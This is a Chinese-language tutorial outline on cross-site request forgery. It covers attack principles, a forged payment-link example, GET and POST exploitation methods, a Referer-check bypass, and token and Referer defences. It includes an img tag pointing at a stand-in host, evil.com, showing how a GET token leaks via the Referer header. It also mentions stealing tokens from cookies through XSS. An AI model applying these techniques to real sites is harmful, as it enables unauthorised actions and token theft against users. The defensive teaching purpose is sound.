CSRF攻击
介绍
- CSRF(Cross-site request forery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF。
与XSS的区别
- XSS利用站点内的信任用户,盗取cookie
- CSRF通过伪装成受信任用户,请求受信任的站点
CSRF原理
- 利用目标用户的合法身份,以目标用户的名义执行某些非法操作。
- eg:简单转账案例
- 初始化链接:http://www.xxx.com/pay.php?user=xx&money=100
- 构造恶意丽链接:http://www.xxx.com/pay.php?user=恶意用户&money=10000
CSRF成功条件
- 用户已经登录系统
- 用户访问对应URL
GET型CSRF利用
- GET型URL,提交user-name,password
- 隐蔽引用:img等
POST型CSRF代码分析
- 设置表单用于提交
手动探测
- 探测web应用是否具有防止CSRF的措施
- 如果web应用的HTTP请求中没有对应的预防措施,那么很大程度上可以确定存在CSRF漏洞
自动探测
- CSRFTester
- 原理:使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修测试的请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
漏洞修补逻辑分析
- CSRF漏洞实质:服务器无法准确判断当前请求是否是合法用户的自定义操作
- 用户登录之后给予用户一个唯一合法令牌
- 一般情况下,给予的令牌会写入表单中隐藏域的value值中,随着表单内容进行提交。
- Token作为识别操作是否是当前用户自己操作的唯一凭证,需要设置为复杂难以被破解的内容。
- 使用Token进行CSRF漏洞防御:
- 登录验证成功之后,在会话SESSION[“user_token”]中保存Token。
- 在后台操作中,增删改表单中添加隐藏域 hidden,设置value为Token。
- 提交之后进行验证Token是否正确。
- Referer防御CSRF原理:
- HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
- 当用户点击被构造好的CSRF利用页面,那么在执行用户对应操作时,提交的HTTP请求中就有对应的Referer值,此时服务端判断Referer值是否与服务器的域名信息有关。如果不相关则不执行操作。
- 绕过Referer技巧:如果服务端只判断当前的Referer中是否具有域名,那么直接可以新建文件夹进行绕过。
Burpsuite自动生成POC
- pro版,自动生成poc
GET型CSRF利用方法
- a标签
- iframe标签
- img标签
- CSS中,url利用
CSRF漏洞防御
- 验证码(用户二次验证)
- Referer 校验
- Token 校验
Token泄露
- GET型Token泄露
- 页面包含
<img src="http://evil.com/" />
那么请求中的Referer就会携带对应的GET Token。
- 页面包含
- POST型Token泄露
- 利用XSS漏洞读取Cookie,获取存储在其中的Token值。